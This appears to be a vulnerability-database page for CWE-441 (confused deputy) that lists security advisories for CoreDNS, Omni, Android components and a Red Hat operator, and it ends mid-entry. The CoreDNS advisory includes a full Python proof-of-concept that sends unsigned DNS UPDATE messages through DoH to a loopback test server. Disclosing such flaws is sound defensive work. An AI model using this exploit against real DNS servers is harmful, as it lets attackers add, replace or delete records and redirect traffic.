CWE-441
Allowed-with-ReviewUnintended Proxy or Intermediary ('Confused Deputy')
Abstraction: Class · Status: Draft
The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.
274 vulnerabilities reference this CWE, most recent first.
GHSA-9GM5-9RFH-M6VX
Vulnerability from github – Published: 2026-09-17 20:33 – Updated: 2026-09-17 20:33Summary
CoreDNS accepted RFC 2136 UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the proxy/forward plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch.
If an update-capable upstream trusts CoreDNS's source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records.
Details
The affected listeners called dns.Msg.Unpack without the request policy used by the UDP/TCP server:
CoreDNS routed the message using its Zone question without checking the opcode. forward then passed the original message to the upstream.
By contrast, dns.DefaultMsgAcceptFunc allows only QUERY and NOTIFY. The fix applies that policy to the raw header via dnsutil.UnpackRequest before any affected transport dispatches the request.
PoC
The reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the forward plugin may select either transport. It does not contact or modify a real authoritative server.
Clone the repository and build the server:
git clone git@github.com:coredns/coredns.git
cd coredns
git checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main
go build -tags=grpcnotrace -o coredns .
Save this as Corefile.poc:
https://.:8053 {
bind 127.0.0.1
tls plugin/tls/test_cert.pem plugin/tls/test_key.pem
forward . 127.0.0.1:15354
}
Save this as poc.py:
#!/usr/bin/env python3
import argparse
import http.client
import queue
import socket
import ssl
import struct
import threading
OPCODE_UPDATE = 5
TYPE_A = 1
CLASS_IN = 1
def encode_name(name):
return b"".join(bytes((len(label),)) + label.encode() for label in name.rstrip(".").split(".")) + b"\x00"
def update_message():
zone = encode_name("example.com.") + struct.pack("!HH", 6, CLASS_IN)
update = (
encode_name("foo.example.com.")
+ struct.pack("!HHIH", TYPE_A, CLASS_IN, 300, 4)
+ socket.inet_aton("192.0.2.123")
)
header = struct.pack("!HHHHHH", 0x1234, OPCODE_UPDATE << 11, 1, 0, 1, 0)
return header + zone + update
def read_name(message, offset):
labels = []
end = None
seen = set()
while True:
if offset >= len(message) or offset in seen:
raise ValueError("invalid DNS name")
seen.add(offset)
length = message[offset]
if length & 0xC0 == 0xC0:
if offset + 1 >= len(message):
raise ValueError("truncated compression pointer")
if end is None:
end = offset + 2
offset = ((length & 0x3F) << 8) | message[offset + 1]
continue
offset += 1
if length == 0:
return ".".join(labels) + ".", end if end is not None else offset
if length & 0xC0 or offset + length > len(message):
raise ValueError("invalid DNS label")
labels.append(message[offset : offset + length].decode("ascii"))
offset += length
def question_end(message, count):
offset = 12
for _ in range(count):
_, offset = read_name(message, offset)
offset += 4
if offset > len(message):
raise ValueError("truncated question")
return offset
def parse_update(message):
_, flags, qdcount, _, nscount, _ = struct.unpack_from("!HHHHHH", message)
if (flags >> 11) & 0xF != OPCODE_UPDATE or qdcount != 1 or nscount < 1:
return None
offset = question_end(message, qdcount)
name, offset = read_name(message, offset)
rrtype, rrclass, ttl, rdlength = struct.unpack_from("!HHIH", message, offset)
offset += 10
rdata = message[offset : offset + rdlength]
if rrtype != TYPE_A or rrclass != CLASS_IN or len(rdata) != 4:
return None
return name, ttl, socket.inet_ntoa(rdata)
def response_for(message):
ident, flags, qdcount, _, _, _ = struct.unpack_from("!HHHHHH", message)
end = question_end(message, qdcount)
response_flags = flags | 0x8000
return struct.pack("!HHHHHH", ident, response_flags, qdcount, 0, 0, 0) + message[12:end]
def handle_message(message, peer, received):
try:
update = parse_update(message)
response = response_for(message)
except (ValueError, struct.error):
return None
if update is not None:
received.put((peer, update))
return response
def serve_udp(sock, received, stopped):
while not stopped.is_set():
try:
message, peer = sock.recvfrom(65535)
except socket.timeout:
continue
except OSError:
return
response = handle_message(message, peer, received)
if response is not None:
sock.sendto(response, peer)
def recv_exact(connection, size, stopped):
data = bytearray()
while len(data) < size and not stopped.is_set():
try:
chunk = connection.recv(size - len(data))
except socket.timeout:
continue
if not chunk:
return None
data.extend(chunk)
return bytes(data) if len(data) == size else None
def serve_tcp(sock, received, stopped):
while not stopped.is_set():
try:
connection, peer = sock.accept()
except socket.timeout:
continue
except OSError:
return
with connection:
connection.settimeout(0.1)
while not stopped.is_set():
length = recv_exact(connection, 2, stopped)
if length is None:
break
message = recv_exact(connection, struct.unpack("!H", length)[0], stopped)
if message is None:
break
response = handle_message(message, peer, received)
if response is not None:
connection.sendall(struct.pack("!H", len(response)) + response)
def send_doh(host, port, payload, timeout):
context = ssl._create_unverified_context()
connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context)
try:
connection.request(
"POST",
"/dns-query",
body=payload,
headers={"Content-Type": "application/dns-message"},
)
response = connection.getresponse()
body = response.read()
return response.status, len(body)
finally:
connection.close()
def main():
parser = argparse.ArgumentParser(description="Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH")
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=8053)
parser.add_argument("--upstream-host", default="127.0.0.1")
parser.add_argument("--upstream-port", type=int, default=15354)
parser.add_argument("--timeout", type=float, default=2.0)
parser.add_argument("--expect", choices=("forwarded", "blocked", "either"), default="either")
args = parser.parse_args()
received = queue.Queue()
stopped = threading.Event()
udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_sock.settimeout(0.1)
udp_sock.bind((args.upstream_host, args.upstream_port))
tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcp_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
tcp_sock.settimeout(0.1)
tcp_sock.bind((args.upstream_host, args.upstream_port))
tcp_sock.listen()
threads = [
threading.Thread(target=serve_udp, args=(udp_sock, received, stopped), daemon=True),
threading.Thread(target=serve_tcp, args=(tcp_sock, received, stopped), daemon=True),
]
for thread in threads:
thread.start()
payload = update_message()
try:
status, response_bytes = send_doh(args.host, args.port, payload, args.timeout)
try:
peer, update = received.get(timeout=args.timeout)
except queue.Empty:
peer = update = None
finally:
stopped.set()
udp_sock.close()
tcp_sock.close()
for thread in threads:
thread.join(timeout=1)
print("payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123" % len(payload))
print("http_status=%d response_bytes=%d" % (status, response_bytes))
if update is None:
result = "blocked"
print("upstream_received_update=false")
else:
result = "forwarded"
name, ttl, address = update
print("upstream_received_update=true source=%s:%d" % peer)
print("upstream_record=%s %d IN A %s" % (name, ttl, address))
print("result=%s" % result)
if args.expect != "either" and args.expect != result:
raise SystemExit("expected %s, got %s" % (args.expect, result))
if __name__ == "__main__":
main()
Start the vulnerable revision:
./coredns -conf Corefile.poc
In a second terminal, run the probe:
$ python3 poc.py --expect forwarded
payload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123
http_status=200 response_bytes=29
upstream_received_update=true source=127.0.0.1:52391
upstream_record=foo.example.com. 300 IN A 192.0.2.123
result=forwarded
The ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS.
For comparison, build and start CoreDNS with the fix:
git checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main
go build -tags=grpcnotrace -o coredns-fixed .
./coredns-fixed -conf Corefile.poc
The same probe is rejected before reaching the synthetic upstream:
$ python3 poc.py --expect blocked
payload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123
http_status=400 response_bytes=16
upstream_received_update=false
result=blocked
Impact
Exploitation requires all of the following:
- an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener
- the selected
proxy/forwardtarget accepts RFC 2136 UPDATE - the upstream trusts CoreDNS's source address or connection and does not require an attacker-unknown TSIG
The upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.14.6"
},
"package": {
"ecosystem": "Go",
"name": "github.com/coredns/coredns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-86003"
],
"database_specific": {
"cwe_ids": [
"CWE-441"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T20:33:05Z",
"nvd_published_at": "2026-09-16T19:17:51Z",
"severity": "HIGH"
},
"details": "### Summary\n\nCoreDNS accepted [RFC 2136](https://datatracker.ietf.org/doc/html/rfc2136) UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the `proxy`/`forward` plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch.\n\nIf an update-capable upstream trusts CoreDNS\u0027s source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records.\n\n### Details\n\nThe affected listeners called `dns.Msg.Unpack` without the request policy used by the UDP/TCP server:\n\n- [DoH and DoH3](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/doh/doh.go#L134-L155)\n- [DoQ](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_quic.go#L212-L219)\n- [DNS-over-gRPC](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_grpc.go#L176-L184)\n\nCoreDNS routed the message using its Zone question without checking the opcode. [`forward`](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/forward/forward.go#L113-L118) then passed the original message to the [upstream](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/proxy/connect.go#L150-L167).\n\nBy contrast, [`dns.DefaultMsgAcceptFunc`](https://github.com/miekg/dns/blob/v1.1.72/acceptfunc.go#L33-L57) allows only QUERY and NOTIFY. The fix applies that policy to the raw header via [`dnsutil.UnpackRequest`](https://github.com/coredns/coredns/blob/530b0a5ff2ad68cc0421f10dd93568945cc671c9/plugin/pkg/dnsutil/message.go#L13-L23) before any affected transport dispatches the request.\n\n### PoC\n\nThe reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the `forward` plugin may select either transport. It does not contact or modify a real authoritative server.\n\nClone the repository and build the server:\n\n```bash\ngit clone git@github.com:coredns/coredns.git\ncd coredns\ngit checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main\ngo build -tags=grpcnotrace -o coredns .\n```\n\nSave this as `Corefile.poc`:\n\n```text\nhttps://.:8053 {\n bind 127.0.0.1\n tls plugin/tls/test_cert.pem plugin/tls/test_key.pem\n forward . 127.0.0.1:15354\n}\n```\n\nSave this as `poc.py`:\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport http.client\nimport queue\nimport socket\nimport ssl\nimport struct\nimport threading\n\n\nOPCODE_UPDATE = 5\nTYPE_A = 1\nCLASS_IN = 1\n\n\ndef encode_name(name):\n return b\"\".join(bytes((len(label),)) + label.encode() for label in name.rstrip(\".\").split(\".\")) + b\"\\x00\"\n\n\ndef update_message():\n zone = encode_name(\"example.com.\") + struct.pack(\"!HH\", 6, CLASS_IN)\n update = (\n encode_name(\"foo.example.com.\")\n + struct.pack(\"!HHIH\", TYPE_A, CLASS_IN, 300, 4)\n + socket.inet_aton(\"192.0.2.123\")\n )\n header = struct.pack(\"!HHHHHH\", 0x1234, OPCODE_UPDATE \u003c\u003c 11, 1, 0, 1, 0)\n return header + zone + update\n\n\ndef read_name(message, offset):\n labels = []\n end = None\n seen = set()\n while True:\n if offset \u003e= len(message) or offset in seen:\n raise ValueError(\"invalid DNS name\")\n seen.add(offset)\n length = message[offset]\n if length \u0026 0xC0 == 0xC0:\n if offset + 1 \u003e= len(message):\n raise ValueError(\"truncated compression pointer\")\n if end is None:\n end = offset + 2\n offset = ((length \u0026 0x3F) \u003c\u003c 8) | message[offset + 1]\n continue\n offset += 1\n if length == 0:\n return \".\".join(labels) + \".\", end if end is not None else offset\n if length \u0026 0xC0 or offset + length \u003e len(message):\n raise ValueError(\"invalid DNS label\")\n labels.append(message[offset : offset + length].decode(\"ascii\"))\n offset += length\n\n\ndef question_end(message, count):\n offset = 12\n for _ in range(count):\n _, offset = read_name(message, offset)\n offset += 4\n if offset \u003e len(message):\n raise ValueError(\"truncated question\")\n return offset\n\n\ndef parse_update(message):\n _, flags, qdcount, _, nscount, _ = struct.unpack_from(\"!HHHHHH\", message)\n if (flags \u003e\u003e 11) \u0026 0xF != OPCODE_UPDATE or qdcount != 1 or nscount \u003c 1:\n return None\n offset = question_end(message, qdcount)\n name, offset = read_name(message, offset)\n rrtype, rrclass, ttl, rdlength = struct.unpack_from(\"!HHIH\", message, offset)\n offset += 10\n rdata = message[offset : offset + rdlength]\n if rrtype != TYPE_A or rrclass != CLASS_IN or len(rdata) != 4:\n return None\n return name, ttl, socket.inet_ntoa(rdata)\n\n\ndef response_for(message):\n ident, flags, qdcount, _, _, _ = struct.unpack_from(\"!HHHHHH\", message)\n end = question_end(message, qdcount)\n response_flags = flags | 0x8000\n return struct.pack(\"!HHHHHH\", ident, response_flags, qdcount, 0, 0, 0) + message[12:end]\n\n\ndef handle_message(message, peer, received):\n try:\n update = parse_update(message)\n response = response_for(message)\n except (ValueError, struct.error):\n return None\n if update is not None:\n received.put((peer, update))\n return response\n\n\ndef serve_udp(sock, received, stopped):\n while not stopped.is_set():\n try:\n message, peer = sock.recvfrom(65535)\n except socket.timeout:\n continue\n except OSError:\n return\n response = handle_message(message, peer, received)\n if response is not None:\n sock.sendto(response, peer)\n\n\ndef recv_exact(connection, size, stopped):\n data = bytearray()\n while len(data) \u003c size and not stopped.is_set():\n try:\n chunk = connection.recv(size - len(data))\n except socket.timeout:\n continue\n if not chunk:\n return None\n data.extend(chunk)\n return bytes(data) if len(data) == size else None\n\n\ndef serve_tcp(sock, received, stopped):\n while not stopped.is_set():\n try:\n connection, peer = sock.accept()\n except socket.timeout:\n continue\n except OSError:\n return\n with connection:\n connection.settimeout(0.1)\n while not stopped.is_set():\n length = recv_exact(connection, 2, stopped)\n if length is None:\n break\n message = recv_exact(connection, struct.unpack(\"!H\", length)[0], stopped)\n if message is None:\n break\n response = handle_message(message, peer, received)\n if response is not None:\n connection.sendall(struct.pack(\"!H\", len(response)) + response)\n\n\ndef send_doh(host, port, payload, timeout):\n context = ssl._create_unverified_context()\n connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context)\n try:\n connection.request(\n \"POST\",\n \"/dns-query\",\n body=payload,\n headers={\"Content-Type\": \"application/dns-message\"},\n )\n response = connection.getresponse()\n body = response.read()\n return response.status, len(body)\n finally:\n connection.close()\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH\")\n parser.add_argument(\"--host\", default=\"127.0.0.1\")\n parser.add_argument(\"--port\", type=int, default=8053)\n parser.add_argument(\"--upstream-host\", default=\"127.0.0.1\")\n parser.add_argument(\"--upstream-port\", type=int, default=15354)\n parser.add_argument(\"--timeout\", type=float, default=2.0)\n parser.add_argument(\"--expect\", choices=(\"forwarded\", \"blocked\", \"either\"), default=\"either\")\n args = parser.parse_args()\n\n received = queue.Queue()\n stopped = threading.Event()\n udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n udp_sock.settimeout(0.1)\n udp_sock.bind((args.upstream_host, args.upstream_port))\n tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n tcp_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n tcp_sock.settimeout(0.1)\n tcp_sock.bind((args.upstream_host, args.upstream_port))\n tcp_sock.listen()\n threads = [\n threading.Thread(target=serve_udp, args=(udp_sock, received, stopped), daemon=True),\n threading.Thread(target=serve_tcp, args=(tcp_sock, received, stopped), daemon=True),\n ]\n for thread in threads:\n thread.start()\n\n payload = update_message()\n try:\n status, response_bytes = send_doh(args.host, args.port, payload, args.timeout)\n try:\n peer, update = received.get(timeout=args.timeout)\n except queue.Empty:\n peer = update = None\n finally:\n stopped.set()\n udp_sock.close()\n tcp_sock.close()\n for thread in threads:\n thread.join(timeout=1)\n\n print(\"payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\" % len(payload))\n print(\"http_status=%d response_bytes=%d\" % (status, response_bytes))\n if update is None:\n result = \"blocked\"\n print(\"upstream_received_update=false\")\n else:\n result = \"forwarded\"\n name, ttl, address = update\n print(\"upstream_received_update=true source=%s:%d\" % peer)\n print(\"upstream_record=%s %d IN A %s\" % (name, ttl, address))\n print(\"result=%s\" % result)\n\n if args.expect != \"either\" and args.expect != result:\n raise SystemExit(\"expected %s, got %s\" % (args.expect, result))\n\n\nif __name__ == \"__main__\":\n main()\n```\n\nStart the vulnerable revision:\n\n```sh\n./coredns -conf Corefile.poc\n```\n\nIn a second terminal, run the probe:\n\n```console\n$ python3 poc.py --expect forwarded\npayload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\nhttp_status=200 response_bytes=29\nupstream_received_update=true source=127.0.0.1:52391\nupstream_record=foo.example.com. 300 IN A 192.0.2.123\nresult=forwarded\n```\n\nThe ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS.\n\nFor comparison, build and start CoreDNS with the fix:\n\n```sh\ngit checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main\ngo build -tags=grpcnotrace -o coredns-fixed .\n./coredns-fixed -conf Corefile.poc\n```\n\nThe same probe is rejected before reaching the synthetic upstream:\n\n```console\n$ python3 poc.py --expect blocked\npayload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\nhttp_status=400 response_bytes=16\nupstream_received_update=false\nresult=blocked\n```\n\n### Impact\n\nExploitation requires all of the following:\n\n- an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener\n- the selected `proxy`/`forward` target accepts RFC 2136 UPDATE\n- the upstream trusts CoreDNS\u0027s source address or connection and does not require an attacker-unknown TSIG\n\nThe upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.",
"id": "GHSA-9gm5-9rfh-m6vx",
"modified": "2026-09-17T20:33:06Z",
"published": "2026-09-17T20:33:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/security/advisories/GHSA-9gm5-9rfh-m6vx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86003"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/commit/530b0a5ff2ad68cc0421f10dd93568945cc671c9"
},
{
"type": "PACKAGE",
"url": "https://github.com/coredns/coredns"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/releases/tag/v1.14.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP"
}
GHSA-C36Q-V25W-M4PC
Vulnerability from github – Published: 2026-03-10 21:32 – Updated: 2026-03-11 18:30In gmc_ddr_handle_mba_mr_req of gmc_mba_ddr.c, there is a possible escalation of privileges due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2026-0107"
],
"database_specific": {
"cwe_ids": [
"CWE-441"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-10T21:16:44Z",
"severity": "HIGH"
},
"details": "In gmc_ddr_handle_mba_mr_req of gmc_mba_ddr.c, there is a possible escalation of privileges due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-c36q-v25w-m4pc",
"modified": "2026-03-11T18:30:28Z",
"published": "2026-03-10T21:32:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0107"
},
{
"type": "WEB",
"url": "https://source.android.com/docs/security/bulletin/2026/2026-03-01"
},
{
"type": "WEB",
"url": "https://source.android.com/docs/security/bulletin/pixel/2026/2026-03-01"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/pixel/2026-03-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C66C-VQ6W-FVH5
Vulnerability from github – Published: 2026-06-05 15:25 – Updated: 2026-06-05 15:25Summary
managementServer.CreateSchematic (internal/backend/grpc/schematics.go) passes the caller-controlled TalosVersion field directly to imageFactoryClient.OverlaysVersions, which embeds it verbatim into a fmt.Sprintf("/version/%s/overlays/official", talosVersion) path template. url.URL.JoinPath resolves any ../ sequences in that path, allowing an authenticated Operator to rewrite the URL path and force Omni to issue HTTP GET requests to unintended paths on the configured image-factory server. Error body content from those unintended endpoints is returned to the caller.
Severity
- Attack Vector: Network: exploited via the gRPC
CreateSchematicAPI endpoint. - Attack Complexity: Low: once the attacker holds an Operator credential and has identified a media ID with an overlay, exploitation is a single API call.
- Privileges Required: High:
role.Operatoris required, which has administrative capabilities on Omni. - User Interaction: None.
- Scope: Unchanged: the traversal is constrained to the configured image-factory host; the attacker cannot redirect Omni to an arbitrary external server.
- Confidentiality Impact: Low: error body content from unintended image-factory endpoints is reflected back to the operator, potentially leaking server-internal information.
- Integrity Impact: None: only HTTP GET requests are issued; no write operations are performed.
- Availability Impact: None.
Impact
- Same-host path traversal: An authenticated Operator can force Omni to issue GET requests to arbitrary URL paths on the configured image-factory server, bypassing the intended versioned overlay API structure.
- Error-body disclosure: HTTP error responses from unintended image-factory endpoints are reflected back to the operator, potentially leaking server-internal diagnostics or sensitive path content.
- Internal network probing: In deployments using a private image-factory instance on an internal network, the attacker can probe endpoint existence and partial responses through error-text differences.
- Depth control: By varying the number of
../prefixes intalosVersion, the attacker can reach any path hierarchy on the image-factory host.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siderolabs/omni"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/siderolabs/omni"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0"
},
{
"fixed": "1.7.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45723"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-209",
"CWE-22",
"CWE-441",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-05T15:25:58Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\n`managementServer.CreateSchematic` (`internal/backend/grpc/schematics.go`) passes the caller-controlled `TalosVersion` field directly to `imageFactoryClient.OverlaysVersions`, which embeds it verbatim into a `fmt.Sprintf(\"/version/%s/overlays/official\", talosVersion)` path template. `url.URL.JoinPath` resolves any `../` sequences in that path, allowing an authenticated Operator to rewrite the URL path and force Omni to issue HTTP GET requests to unintended paths on the configured image-factory server. Error body content from those unintended endpoints is returned to the caller.\n\n## Severity\n\n- **Attack Vector:** Network: exploited via the gRPC `CreateSchematic` API endpoint.\n- **Attack Complexity:** Low: once the attacker holds an Operator credential and has identified a media ID with an overlay, exploitation is a single API call.\n- **Privileges Required:** High: `role.Operator` is required, which has administrative capabilities on Omni.\n- **User Interaction:** None.\n- **Scope:** Unchanged: the traversal is constrained to the configured image-factory host; the attacker cannot redirect Omni to an arbitrary external server.\n- **Confidentiality Impact:** Low: error body content from unintended image-factory endpoints is reflected back to the operator, potentially leaking server-internal information.\n- **Integrity Impact:** None: only HTTP GET requests are issued; no write operations are performed.\n- **Availability Impact:** None.\n\n## Impact\n\n- **Same-host path traversal**: An authenticated Operator can force Omni to issue GET requests to arbitrary URL paths on the configured image-factory server, bypassing the intended versioned overlay API structure.\n- **Error-body disclosure**: HTTP error responses from unintended image-factory endpoints are reflected back to the operator, potentially leaking server-internal diagnostics or sensitive path content.\n- **Internal network probing**: In deployments using a private image-factory instance on an internal network, the attacker can probe endpoint existence and partial responses through error-text differences.\n- **Depth control**: By varying the number of `../` prefixes in `talosVersion`, the attacker can reach any path hierarchy on the image-factory host.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
"id": "GHSA-c66c-vq6w-fvh5",
"modified": "2026-06-05T15:25:58Z",
"published": "2026-06-05T15:25:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siderolabs/omni/security/advisories/GHSA-c66c-vq6w-fvh5"
},
{
"type": "PACKAGE",
"url": "https://github.com/siderolabs/omni"
},
{
"type": "WEB",
"url": "https://github.com/siderolabs/omni/releases/tag/v1.6.6"
},
{
"type": "WEB",
"url": "https://github.com/siderolabs/omni/releases/tag/v1.7.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Omni: Operator can traverse image-factory API paths via unsanitized `talos_version` in CreateSchematic"
}
GHSA-C6JR-FJV5-8XFV
Vulnerability from github – Published: 2026-09-08 21:34 – Updated: 2026-09-10 15:32In onCreate of SlicePermissionActivity.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2026-28614"
],
"database_specific": {
"cwe_ids": [
"CWE-441"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-08T19:17:53Z",
"severity": "HIGH"
},
"details": "In onCreate of SlicePermissionActivity.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-c6jr-fjv5-8xfv",
"modified": "2026-09-10T15:32:59Z",
"published": "2026-09-08T21:34:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28614"
},
{
"type": "WEB",
"url": "https://source.android.com/docs/security/bulletin/2026/2026-09-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CC8C-28GJ-PX38
Vulnerability from github – Published: 2025-12-15 18:30 – Updated: 2025-12-16 20:40A flaw was found in runtimes-inventory-rhel8-operator. An internal proxy component is incorrectly configured. Because of this flaw, the proxy attaches the cluster's main administrative credentials to any command it receives, instead of only the specific reports it is supposed to handle.
This allows a standard user within the cluster to send unauthorized commands to the management platform, effectively acting with the full permissions of the cluster administrator. This could lead to unauthorized changes to the cluster's configuration or status on the Red Hat platform.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/RedHatInsights/runtimes-inventory-operator"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20251211184433-5123422abee1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-11393"
],
"database_specific": {
"cwe_ids": [
"CWE-441"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-16T20:40:12Z",
"nvd_published_at": "2025-12-15T17:15:51Z",
"severity": "HIGH"
},
"details": "A flaw was found in runtimes-inventory-rhel8-operator. An internal proxy component is incorrectly configured. Because of this flaw, the proxy attaches the cluster\u0027s main administrative credentials to any command it receives, instead of only the specific reports it is supposed to handle.\n\nThis allows a standard user within the cluster to send unauthorized commands to the management platform, effectively acting with the full permissions of the cluster administrator. This could lead to unauthorized changes to the cluster\u0027s configuration or status on the Red Hat platform.",
"id": "GHSA-cc8c-28gj-px38",
"modified": "2025-12-16T20:40:12Z",
"published": "2025-12-15T18:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11393"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:23236"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-11393"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2402032"
},
{
"type": "PACKAGE",
"url": "https://github.com/RedHatInsights/runtimes-inventory-operator"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Misconfigured Internal Proxy in runtimes-inventory-rhel8-operator Grants Standard Users Full Cluster Administrator Access"
}
GHSA-CF4X-9JJ3-94W2
Vulnerability from github – Published: 2025-09-04 21:31 – Updated: 2025-09-04 21:31In markMediaAsFavorite of MediaProvider.java, there is a possible way to bypass the WRITE_EXTERNAL_STORAGE permission due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.
{
"affected": [],
